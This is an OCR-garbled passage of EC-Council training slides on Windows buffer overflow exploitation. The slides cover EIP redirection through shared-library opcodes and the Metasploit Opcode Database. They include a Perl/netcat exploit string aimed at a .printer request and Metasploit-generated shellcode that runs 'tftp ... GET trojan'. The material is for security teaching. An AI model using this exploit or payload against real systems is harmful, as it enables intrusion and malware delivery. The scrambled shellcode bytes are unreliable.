EIP to the payload regardless of its address in
memory

® We will need to examine the values of the
registers to see if they point to locations within
the attack string located on the stack

® If we find a register that contains an address in
our attack string, we can copy the value of this
register into EIP, which now points to our
attack string
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EIP with the shared library technique

1. Assume register EAX points to our payload
and overwrite the saved return address with
the address of an instruction that copies the
value in EAX into EIP

2. When the vulnerable function exits, the saved
return address iIs popped into EIP

3. The processor executes the copying
Instruction, which moves the value of EAX
Into EIP

4. When the processor executes the next
Instruction, it will be code from the payload
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Instructions that modify EIP

® CALL, JMP

e The CALL instruction is used to alter the path of
execution by changing the value of EIP with the
argument passed to it

e The opcode that represents a CALL EAX is OXFFDO
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Finding the opcode in shared library

® We can look up a valid return address from the
Metasploit’s Opcode Database located at
www.metasploit.com

® The Metasploit Opcode Database contains over 8
million precalculated memory addresses for nearly 300

opcode types

MELASP|OiG

"Metasploit Insidel!l”
Framework 2.6 { WIN32 - UNIX )
Framework 3.0 { EVERYONE )

Owverview | Framework | Shellcode | Opcode DE | Research | Donate | Press | Links | Blog
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The Metasploit Opcode Database

Welcome to the Metasploit Opcode Database. Flease click on the aption vou
would like to perform:

Search the database

s Search for opcodes in a set of modules
s Search for opcodes using windbg's list of modules

Show database contents

Display supported opcode types
Display supported operating systems
Display supported modules

Display module information

Database statistics

Last databaze update: 2005%-12-21 13:55
MNumber of ocpcodes: 13860175

Number of cpcode types: 320

MNumber of operating systems: 14

Number of architectures: 1

Number of modules: 19922

Mumber of module =egments: 80131
MNumber of maodule imports: 2356528
Number of module exports: 1171855
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Searching opcodes
Select opcode types

Fleaze =zelect the class, meta, or specific opcode that vou wisk
v Opcode Class

|ea:-c => eip j

¢~ Opcode Meta Type

|popipopiret =l
i~ Specific Opcode

|imp esp [

—

EC-Council
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Searching opcodes
Select modules

Select ane or more imaage file modules to search fram:

¥ Any image file module

= Select one or more common modules

nitdlldll . |

kemnel32 dil i
userd2.dll

shell32.dil =]
¢~ Supply a custom list of modules

(e.g. 'kernel32.dil ntdll.dll’)

Cancel | Bau:l-cl Nextl

2o0f4
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Searching opcodes

Select operating systems

Jof4

Specify the operating system wersions that should be =earched on:

{* Any operating system versions

¢~ Specific operating system version(s)

Windows NT 4.0.3.0 SP3 (IA32)
Windows NT 4.0.4.0 SP4 (I1A32)
Windows NT 4.0.50 SP5 (IA32)
Windows NT 4.0.6.0 SPE (lA32)
Windows 2000 5.0.0.0 SPO (1A32)
Windows 2000 5.0.1.0 SP1 (1A32)
Windows 2000 5.0.2.0 SP2 (1A32)
Windows 2000 5.0.3.0 SP3 (1A32)

Specific locales

L
French =

[T Matches should span more than cne ©35

Cancell Elau:l-cl Nextl
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Searching opcodes

Executing search operation...

A total of 2083 matches were found:

Address Opcode

O0x00000000 push eax, ret

0x00013809 jmp eax
Ox0001446a jmp eax

Ox00401043 call eax

Module

admpar=ze.dll
(English / 5.0.2920.0)

medsrv32.4dll
{English / 5.0.2160.1)

atmfd.dll
(English / 5.163.0.0)

hal.dll
(English f 5.0.2163.1)

spcmdcon.sys
(French / 5.0.2179.1])

spcmdoon.sys
(French / 5.0.2179.1)

IMejpUeK.exe
(English / 7.0.1.4326)

0s

Windows 2000
Windows 2000
Windows 2000
Windows 2000
Windows 2000

Windows 2000
Windows 2000
Windows 2000
Windows 2000
Windows 2000

Windows 2000
Windows 2000

Windows 2000
Windows 2000
Windows 2000

Windows 2000

Windows 2000

Windows 2000
Windows 2000
Windows 2000
Windows 2000
Windows 2000

Ln

L L onoonoon
L 5 5 5.

oo
R

L Lnoonoonoon
T s 5 o=

SP4 (1A32)
SP3 (1A32)
SP2 (1A32)
SP1 (1A32)
SPO (1A32)

SP4 (1A32)
SP3 (1A32)
SP2 (1A32)
SP1 (1A32)
SPO (1A32)

SP1 (1A32)
SPO (1A32)

SP2 (1A32)
SP1 (1A32)
SPO (1A32)

SPO (1A32)
SPO (1A32)

SP4 (1A32)
SP3 (1A32)
SP2 (1A32)
SP1 (1A32)
SPO (1A32)




OS Dependent Exploit

® By using opcode from a list of shared libraries
makes our exploit operating system version and
service pack dependent

® For example: You might say - the exploit
hackme.exe only works on Windows Server
2000 SP3
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Using the opcode

e $string = "GET /NULL.printer

HTTP/1.0\nHost: ';

EC-Council

e $string .= "A" X 268;
e $string .= ""\XF6\Xx15\xe8\x77";
e $string .= "\n\n"';

e open(NC, ""|nc.exe 127.0.0.
e print NC $string;
e close(NC);

80");

opcode




Payload strings (shellcode)

® What payload can | use for attack?

® Well, anything how about reverse netcat, launch
VNC, delete files, execute commands, create
local user on the system etc.

® You can use metasploit’s payload creator to
generate the payload and attach them to exploit
code instead of just sending “AAAAAAAAAA”
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Metasploit payload generator

EXPLOITS PAYLOADS SESSIOMNS

¥ BSD 1A32 Execute Command

Mame: bsd ia32 exec v1.1
Authors: vlad902 «<vlad902 [at] gmail.com>
Size: 41 bytes
Arch: =86

05: hsd

Execute an arbitrary command

CMD Required DATA | thitp -1 10.3.4.5 -GET troja The command string to execute

Max Size: |

Restricted Characters (format: 0x00 0x01)
| ox00 |

Selected Encoder:
|Default Encoder j

| Generate Payload I

EC-Council




EC-Councii

H Windows Execute Command

Mame: win32_exec v1.18
Authors: vlad90Z2 <vlad302 [at] gmail.com>
Size: 130 bytes
Arch: =86

08: win3Z?

Execute an arbitrary command

CMD Required DATA | titp —10.456 GET trojan|

EXITFUNG  Required DATA | seh |

Max Size: |

Restricted Characters {format: 0x00 Ox01)
| 0x00 |

Selected Encoder:
|Defﬂult Encoder j

Generate Payload

The command string to execute

Exit technique: "process", "thread", "seh"




The payload

A Windows Execute Command

P winii exec - EXTITFUNC=seh CHD=tftp -- 10.4.5.6 GET trojan 3ize=154
un=signed char scode[] =

o3 1h et K83 xedh xdEh xd9h xeeh xdDh X TEY w2 4h xEf4h x5 xS 1Y xTINV x13h xedr
B eh kb3t xodh 83 xebh xfoh e w4 T8 weeh k£ xodh x84 X8 6N X388 K1
okt x0dh xefh xolh xfoh 87 x5t wa Y wobhh x9eh k384 x9hh xadh 87 K58 x84
o 0EY kb2 k38N HoSh Keah kb T T30 w5dh w284 x02h k73N xh0h k83N xd T 7O el
oS Eh g dh k58N K30 Kb Xd2h 19T we0h xE£1Y X630 k38N x99t xalh 87 K58 xaZ "
0L xB8ah x£8Y 13 £ xdbh x9ah xb2h x2 £ x0£Y x9ah k384 xebh ket x0Eh xefh xed™
o B0h a5 kB2 K03 kel x0dh xE£3% w£4Y x01Y xd6h xohh xedh k0L xebh xhEY 3£
o fdh x9ah xleh 13 Eh xech x8eh 1584 wodh 0L x064 x03h xodh x84 x86h XIS xac™
okt A2 K82 K32 xedh xd0h x3ah X3t x0T g 6h xedh x94dh xech xTEY XIO xoO"
hocdbh xeeh x2bY x3ah x0eh X884 xedh w3 w634 xE£2h xdbh xh0h xE£4h xabh xfeh el
™hocadh xh?h K83 xeal b0 xalh €864 xea) xbhEh xash x£4h xS 14 xdDh xabh xeTh xhe™
hocehh xech xd2h xaah 1848 x86h xb3Y wod';

# winii exec - EXTTFUNC=seh CHD=tftp -- 10.4.5.6 GET trojan 3ize=154 ]
my §shellcode =

o3 1 et xE83Y xedh xdEh xd9h xeeh xdDh X TEY w2 4h xE4h x5t xS kT3 13N xEdr.
B 6eh kb3t xodh 183 xebh xfoh xe2h £ T8 weeh k£ xodh x84 X8 6N X388 KBl
okt x0dh xefh xolh xfoh 87 x5t wa £ wobhh x9eh k384 x9hh xadh X877 x58Y x84,
o 0EY kb2 k38N KoSh Koah b T XT3N w5dh X284 x02% k73N xh0h k83 xd T TN ol
oS Eh g dh k58N X300 Kb Xd2h 19T we0h xE£1Y X630 k38N k9 xalh X877 K58 xaZ .
o 0Eh xB8ah x£8Y 13 £h xdbh x9ah xb2h w2 £ x0£Y x9ah k384 xoebh ket x0£h xefh xed™.
o B0h a5 kB2 K03 kel x0dh xE£3% x£4Y x01h xd6h xohh xedh k0L xe bt xhEY K3 £,
o fdh x9ah xleh 13 Eh xech x8eh x58% wodh x0£Y x064 x03h xodh x84 X8 6h XIEY xac™.
okt A2 K82 K32 xedh xd0h x3ah X3t x0T g 6h xedh x944h xech xTEY XIOY xo0m.
hocdbt xeeh x2bY x3ah x0eh 884 xedh x3hY X634 xE£2h xdbh xh0h xE£4h xabh x9eh el ™.
™hoadh xh?h X830 xeal b0 xadh €864 xea) xhEh xash x£4h k314 xdDh xabh xoTh xhe™.
hocehh xech xd2h xaah 1848 x86h xb3Y wod';
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Metasploit Website

® Metasploit provides tons of resources to
develop Buffer Overflow exploits

® Please visit www.metasploit.com for more
Information regarding exploit development

EC-Council




® End of Slides
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